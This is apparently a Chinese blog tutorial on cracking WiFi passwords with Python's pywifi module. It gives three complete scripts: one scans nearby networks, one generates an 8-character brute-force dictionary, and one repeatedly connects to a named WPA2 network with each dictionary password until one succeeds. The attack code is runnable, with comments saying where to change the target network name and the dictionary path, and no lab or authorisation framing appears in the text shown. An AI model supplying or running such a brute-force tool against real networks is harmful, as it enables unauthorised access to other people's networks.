前言
出于
实验步骤
利用命令行安装pywifi模块
pip install pywifi
查看pip是否安装成功
pip -V
一、扫描WIFI模块
- import pywifi
- import time
-
- # 初始化 pywifi
- wifi = pywifi.PyWiFi()
-
- # 获取第一个无线网卡接口
- interface = wifi.interfaces()[0]
-
- # 开始扫描
- interface.scan()
- print('扫描WiFi中,请稍后………………')
-
- # 等待扫描完成
- time.sleep(10) # 根据实际情况可能需要更长的时间来完成扫描
-
- # 获取扫描结果
- scan_results = interface.scan_results()
-
- # 打印扫描结果
- print('扫描完成!\n' + '*' * 50)
- print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
-
- index = 0
- for result in scan_results:
- # 解决SSID乱码问题
- ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
- signal = result.signal
- print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
- index += 1
-
- print('\n' + '*' * 50)
成功页面
二、爆破字典
1.自己生成不建议(大概有100G左右)生成时间长
以下是生成字典脚本
- import itertools as its
- import datetime
-
- # 记录程序运行时间
- start = datetime.datetime.now()
- words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合
- # words = '0123456789' # 纯数字
- # 生成密码的位数
- r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8
- dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称
- for i in r:
- dic.write(''.join(i))
- dic.write(''.join('\n'))
- print(i)
-
- dic.close()
- print('密码本生成好了')
- end = datetime.datetime.now()
- print("生成密码本一共用了多长时间:{}".format(end - start))
2.下载字典
三、爆破脚本
需要修改处已做注释!
- # coding:utf-8
- import pywifi
- from pywifi import const
- import time
- import datetime
-
- # 全局初始化,避免重复创建实例
- wifi = pywifi.PyWiFi()
- iface = wifi.interfaces()[0] if wifi.interfaces() else None
-
-
- def wifi_connect(pwd):
- if not iface:
- print("未找到无线网卡!")
- return False
-
- # 断开当前连接
- iface.disconnect()
- time.sleep(1)
-
- # 确保网卡处于断开状态
- if iface.status() != const.IFACE_DISCONNECTED:
- print("无法断开当前连接")
- return False
-
- # 创建新的配置文件
- profile = pywifi.Profile()
- profile.ssid = "iPhone1" # 修改为你的WiFi名称
- profile.auth = const.AUTH_ALG_OPEN
- profile.akm.append(const.AKM_TYPE_WPA2PSK)
- profile.cipher = const.CIPHER_TYPE_CCMP
- profile.key = pwd.strip() # 去除密码前后的空格和换行符
-
- # 清理旧配置
- iface.remove_all_network_profiles()
-
- try:
- # 添加新配置并尝试连接
- tmp_profile = iface.add_network_profile(profile)
- iface.connect(tmp_profile)
-
- # 增加连接等待时间(根据网络响应调整)
- time.sleep(5)
-
- return iface.status() == const.IFACE_CONNECTED
- except Exception as e:
- print(f"连接时发生异常: {e}")
- return False
-
-
- def read_password():
- print("开始破解...")
- path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt" # 需要修改成你字典所在位置
-
- try:
- with open(path, "r") as f:
- passwords = [line.strip() for line in f.readlines() if line.strip()]
- except Exception as e:
- print(f"无法读取密码文件: {e}")
- return
-
- total = len(passwords)
- start_time = datetime.datetime.now()
-
- for idx, pwd in enumerate(passwords, 1):
- print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")
-
- # 增加重试机制
- retry = 0
- while retry < 2: # 最多重试2次
- if wifi_connect(pwd):
- print(f"\n破解成功!密码为: {pwd}")
- print(f"总耗时: {datetime.datetime.now() - start_time}")
- return
- else:
- retry += 1
- time.sleep(2) # 失败后等待2秒再重试
-
- print("\n密码字典无匹配项!")
-
- if __name__ == "__main__":
- read_password()
成功页面
完整代码及字典
评论记录:
回复评论: